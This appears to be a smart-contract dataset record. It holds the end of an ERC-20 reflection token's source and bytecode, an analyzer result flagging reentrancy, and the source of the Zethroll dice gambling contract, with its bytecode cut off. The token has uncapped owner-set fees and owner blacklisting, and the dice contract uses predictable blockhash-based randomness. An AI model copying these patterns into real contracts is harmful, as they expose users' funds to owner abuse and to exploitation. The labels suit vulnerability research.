}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b157600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611960565b6105fc565b005b34801561020a57600080fd5b50604080518082019091526009815268536174746f20496e7560b81b60208201525b6040516102399190611a25565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a7a565b61069b565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa6565b6106b2565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae7565b61071b565b34801561036d57600080fd5b506101fc61037c366004611b14565b610766565b34801561038d57600080fd5b506101fc6107ae565b3480156103a257600080fd5b506102c16103b1366004611ae7565b6107f9565b3480156103c257600080fd5b506101fc61081b565b3480156103d757600080fd5b506101fc6103e6366004611b2f565b61088f565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ae7565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b14565b6108be565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b5060408051808201909152600681526524736174746f60d01b602082015261022c565b3480156104bd57600080fd5b506101fc6104cc366004611b2f565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b48565b610935565b3480156104fd57600080fd5b5061026261050c366004611a7a565b610973565b34801561051d57600080fd5b5061026261052c366004611ae7565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b7a565b6109d4565b34801561058257600080fd5b506102c1610591366004611bfe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2f565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611ae7565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c37565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c98565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611db2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c37565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c37565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c37565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c37565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c37565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c37565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c37565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c37565b60005b82811015610a6f578160056000868685818110610a2057610a20611c6c565b9050602002016020810190610a359190611ae7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c98565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c37565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c37565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611cb3565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f8484848461146f565b600081848411156112125760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611ccb565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361149d565b90506112df83826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c6c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce2565b816001815181106113cd576113cd611c6c565b6001600160a01b0392831660209182029290920101526014546113f39130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611cff565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a6f57610a6f600e54600c55600f54600d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611667565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611695565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611734565b6001600160a01b0389166000908152600260205260409020556115c581611793565b6115cf84836117dd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164282826114c0565b82101561165e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116885760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611d70565b60008060008060008060008060006116b28a600c54600d54611801565b92509250925060006116c261149d565b905060008060006116d58e878787611856565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117418385611cb3565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179d61149d565b905060006117ab83836118a6565b306000908152600260205260409020549091506117c89082611734565b30600090815260026020526040902055505050565b6006546117ea90836116f2565b6006556007546117fa9082611734565b6007555050565b600080808061181b606461181589896118a6565b906114c0565b9050600061182e60646118158a896118a6565b90506000611846826118408b866116f2565b906116f2565b9992985090965090945050505050565b600080808061186588866118a6565b9050600061187388876118a6565b9050600061188188886118a6565b905060006118938261184086866116f2565b939b939a50919850919650505050505050565b6000826118b5575060006106ac565b60006118c18385611d92565b9050826118ce8583611d70565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195b8161193b565b919050565b6000602080838503121561197357600080fd5b823567ffffffffffffffff8082111561198b57600080fd5b818501915085601f83011261199f57600080fd5b8135818111156119b1576119b1611925565b8060051b604051601f19603f830116810181811085821117156119d6576119d6611925565b6040529182528482019250838101850191888311156119f457600080fd5b938501935b82851015611a1957611a0a85611950565b845293850193928501926119f9565b98975050505050505050565b600060208083528351808285015260005b81811015611a5257858101830151858201604001528201611a36565b81811115611a64576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8d57600080fd5b8235611a988161193b565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b8335611ac68161193b565b92506020840135611ad68161193b565b929592945050506040919091013590565b600060208284031215611af957600080fd5b81356112df8161193b565b8035801515811461195b57600080fd5b600060208284031215611b2657600080fd5b6112df82611b04565b600060208284031215611b4157600080fd5b5035919050565b60008060008060808587031215611b5e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8f57600080fd5b833567ffffffffffffffff80821115611ba757600080fd5b818601915086601f830112611bbb57600080fd5b813581811115611bca57600080fd5b8760208260051b8501011115611bdf57600080fd5b602092830195509350611bf59186019050611b04565b90509250925092565b60008060408385031215611c1157600080fd5b8235611c1c8161193b565b91506020830135611c2c8161193b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cac57611cac611c82565b5060010190565b60008219821115611cc657611cc6611c82565b500190565b600082821015611cdd57611cdd611c82565b500390565b600060208284031215611cf457600080fd5b81516112df8161193b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4f5784516001600160a01b031683529383019391830191600101611d2a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dac57611dac611c82565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220514ed093a41091a3365983de4a376eb4cc0965bd6c4215a84d17bdb5cb1286bd64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,030 |
0x25cf23787ac0f92a3eafa61f458ad0b7c4b27c3d
|
pragma solidity ^0.4.24;
/*
https://fortisgames.com https://fortisgames.com https://fortisgames.com https://fortisgames.com https://fortisgames.com
FFFFFFFFFFFFFFFFFFFFFF tttt iiii
F::::::::::::::::::::F ttt:::t i::::i
F::::::::::::::::::::F t:::::t iiii
FF::::::FFFFFFFFF::::F t:::::t
F:::::F FFFFFFooooooooooo rrrrr rrrrrrrrr ttttttt:::::ttttttt iiiiiii ssssssssss
F:::::F oo:::::::::::oo r::::rrr:::::::::r t:::::::::::::::::t i:::::i ss::::::::::s
F::::::FFFFFFFFFFo:::::::::::::::or:::::::::::::::::r t:::::::::::::::::t i::::i ss:::::::::::::s
F:::::::::::::::Fo:::::ooooo:::::orr::::::rrrrr::::::rtttttt:::::::tttttt i::::i s::::::ssss:::::s
F:::::::::::::::Fo::::o o::::o r:::::r r:::::r t:::::t i::::i s:::::s ssssss
F::::::FFFFFFFFFFo::::o o::::o r:::::r rrrrrrr t:::::t i::::i s::::::s
F:::::F o::::o o::::o r:::::r t:::::t i::::i s::::::s
F:::::F o::::o o::::o r:::::r t:::::t tttttt i::::i ssssss s:::::s
FF:::::::FF o:::::ooooo:::::o r:::::r t::::::tttt:::::ti::::::is:::::ssss::::::s
F::::::::FF o:::::::::::::::o r:::::r tt::::::::::::::ti::::::is::::::::::::::s
F::::::::FF oo:::::::::::oo r:::::r tt:::::::::::tti::::::i s:::::::::::ss
FFFFFFFFFFF ooooooooooo rrrrrrr ttttttttttt iiiiiiii sssssssssss
Discord: https://discord.gg/gDtTX62
* Fortis Dice.
*
* Adapted from PHXRoll, written in March 2018 by TechnicalRise:
* https://www.reddit.com/user/TechnicalRise/
*
*
*/
contract ZTHReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function getFrontEndTokenBalanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethroll is ZTHReceivingContract {
using SafeMath for uint;
// Makes sure that player profit can't exceed a maximum amount,
// that the bet size is valid, and the playerNumber is in range.
modifier betIsValid(uint _betSize, uint _playerNumber) {
require( calculateProfit(_betSize, _playerNumber) < maxProfit
&& _betSize >= minBet
&& _playerNumber > minNumber
&& _playerNumber < maxNumber);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gamePaused == false);
_;
}
// Requires msg.sender to be owner
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Constants
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 99;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
// Configurables
bool public gamePaused;
address public owner;
address public ZethrBankroll;
address public ZTHTKNADDR;
ZTHInterface public ZTHTKN;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
// Trackers
uint public totalBets;
uint public totalZTHWagered;
// Events
// Logs bets + output to web3 for precise 'payout on win' field in UI
event LogBet(address sender, uint value, uint rollUnder);
// Outputs to web3 UI on bet result
// Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
// Logs owner transfers
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
// Logs changes in maximum profit
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
// Logs current contract balance
event CurrentContractBalance(uint _tokens);
constructor (address zthtknaddr, address zthbankrolladdr) public {
// Owner is deployer
owner = msg.sender;
// Initialize the ZTH contract and bankroll interfaces
ZTHTKN = ZTHInterface(zthtknaddr);
ZTHTKNADDR = zthtknaddr;
// Set the bankroll
ZethrBankroll = zthbankrolladdr;
// Init 990 = 99% (1% houseEdge)
houseEdge = 990;
// The maximum profit from each bet is 10% of the contract balance.
ownerSetMaxProfitAsPercentOfHouse(10000);
// Init min bet (1 ZTH)
ownerSetMinBet(1e18);
// Allow 'unlimited' token transfer by the bankroll
ZTHTKN.approve(zthbankrolladdr, MAX_INT);
}
function() public payable {} // receive zethr dividends
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// Calculate the maximum potential profit
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
// I present a struct which takes only 20k gas
struct playerRoll{
uint200 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
uint8 rollUnder; // Roll under 8 bits
}
// Mapping because a player can do one roll at a time
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn) private
gameIsActive
betIsValid(_tkn.value, _rollUnder)
{
require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200;
require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48
// Note that msg.sender is the Token Contract Address
// and "_from" is the sender of the tokens
// Check that this is a ZTH token transfer
require(_zthToken(msg.sender));
playerRoll memory roll = playerRolls[_tkn.sender];
// Cannot bet twice in one block
require(block.number != roll.blockn);
// If there exists a roll, finish it
if (roll.blockn != 0) {
_finishBet(false, _tkn.sender);
}
// Set struct block number, token value, and rollUnder values
roll.blockn = uint48(block.number);
roll.tokenValue = uint200(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
// Store the roll struct - 20k gas.
playerRolls[_tkn.sender] = roll;
// Provides accurate numbers for web3 and allows for manual refunds
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
// Increment total number of bets
totalBets += 1;
// Total wagered
totalZTHWagered += _tkn.value;
}
// Finished the current bet of a player, if they have one
function finishBet() public
gameIsActive
returns (uint)
{
return _finishBet(true, msg.sender);
}
/*
* Pay winner, update contract balance
* to calculate new max bet, and send reward.
*/
function _finishBet(bool delete_it, address target) private returns (uint){
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0); // No re-entracy
require(roll.blockn != block.number);
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - roll.blockn > 255) {
result = 1000; // Cant win
} else {
// Grab the result - random based ONLY on a past block (future when submitted)
result = random(99, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
// Player has won!
// Safely map player profit
uint profit = calculateProfit(roll.tokenValue, rollUnder);
if (profit > maxProfit){
profit = maxProfit;
}
// Safely reduce contract balance by player profit
contractBalance = contractBalance.sub(profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
// Update maximum profit
setMaxProfit();
// Prevent re-entracy memes
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
// Transfer profit plus original bet
ZTHTKN.transfer(target, profit + roll.tokenValue);
return result;
} else {
/*
* Player has lost
* Update contract balance to calculate new max bet
*/
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
/*
* Safely adjust contractBalance
* SetMaxProfit
*/
contractBalance = contractBalance.add(roll.tokenValue);
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
// No need to actually delete player roll here since player ALWAYS loses
// Saves gas on next buy
// Update maximum profit
setMaxProfit();
return result;
}
}
// TKN struct
struct TKN {address sender; uint value;}
// Token fallback to bet or deposit from bankroll
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) {
require(msg.sender == ZTHTKNADDR);
if (_from == ZethrBankroll) {
// Update the contract balance
contractBalance = contractBalance.add(_value);
// Update the maximum profit
uint oldMaxProfit = maxProfit;
setMaxProfit();
emit MaxProfitChanged(oldMaxProfit, maxProfit);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn);
}
return true;
}
/*
* Sets max profit
*/
function setMaxProfit() internal {
emit CurrentContractBalance(contractBalance);
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
// Only owner adjust contract balance variable (only used for max profit calc)
function ownerUpdateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance = newContractBalance;
}
// Only owner address can set maxProfitAsPercentOfHouse
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
// Restricts each bet to a maximum profit of 20% contractBalance
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
// Only owner address can set minBet
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
// Only owner address can transfer ZTH
function ownerTransferZTH(address sendTo, uint amount) public
onlyOwner
{
// Safely update contract balance when sending out funds
contractBalance = contractBalance.sub(amount);
// update max profit
setMaxProfit();
require(ZTHTKN.transfer(sendTo, amount));
emit LogOwnerTransfer(sendTo, amount);
}
// Only owner address can set emergency pause #1
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
// Only owner address can set bankroll address
function ownerSetBankroll(address newBankroll) public
onlyOwner
{
ZTHTKN.approve(ZethrBankroll, 0);
ZethrBankroll = newBankroll;
ZTHTKN.approve(newBankroll, MAX_INT);
}
// Only owner address can set owner address
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
// Only owner address can selfdestruct - emergency
function ownerkill() public
onlyOwner
{
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
function dumpdivs() public{
ZethrBankroll.transfer(address(this).balance);
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
// Is this the ZTH token contract?
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304fcadf181146101765780630dda350f1461019d578063219df7ee146101b257806323214fab146101e35780633a4f6999146101f85780634025b5a81461020d57806343c1598d146102255780634f44728d1461023a57806355b930311461025b5780635e968a491461027057806361990759146102885780636cdf4c90146102ac5780636eacd48a146102c45780637c67ffe7146102de5780638701a2f0146102ff5780638b7afe2e146103145780638da5cb5b146103295780639619367d1461033e578063a948d72d14610353578063b539cd5514610368578063befa1e2f1461037d578063c0ee0b8a14610392578063c3de1ab91461040f578063ca9defb714610424578063ccd50d2814610448578063d263b7eb1461049b578063d667dcd7146104b0578063e5c774de146104c5578063f21502e5146104da575b005b34801561018257600080fd5b5061018b6104ef565b60408051918252519081900360200190f35b3480156101a957600080fd5b506101746104f5565b3480156101be57600080fd5b506101c7610532565b60408051600160a060020a039092168252519081900360200190f35b3480156101ef57600080fd5b5061018b610541565b34801561020457600080fd5b5061018b610547565b34801561021957600080fd5b5061017460043561054c565b34801561023157600080fd5b5061018b61056d565b34801561024657600080fd5b50610174600160a060020a0360043516610574565b34801561026757600080fd5b5061018b6105c5565b34801561027c57600080fd5b506101746004356105ca565b34801561029457600080fd5b5061018b600435600160a060020a0360243516610603565b3480156102b857600080fd5b506101746004356106a4565b3480156102d057600080fd5b5061017460043515156106c5565b3480156102ea57600080fd5b50610174600160a060020a03600435166106f4565b34801561030b57600080fd5b5061018b610871565b34801561032057600080fd5b506101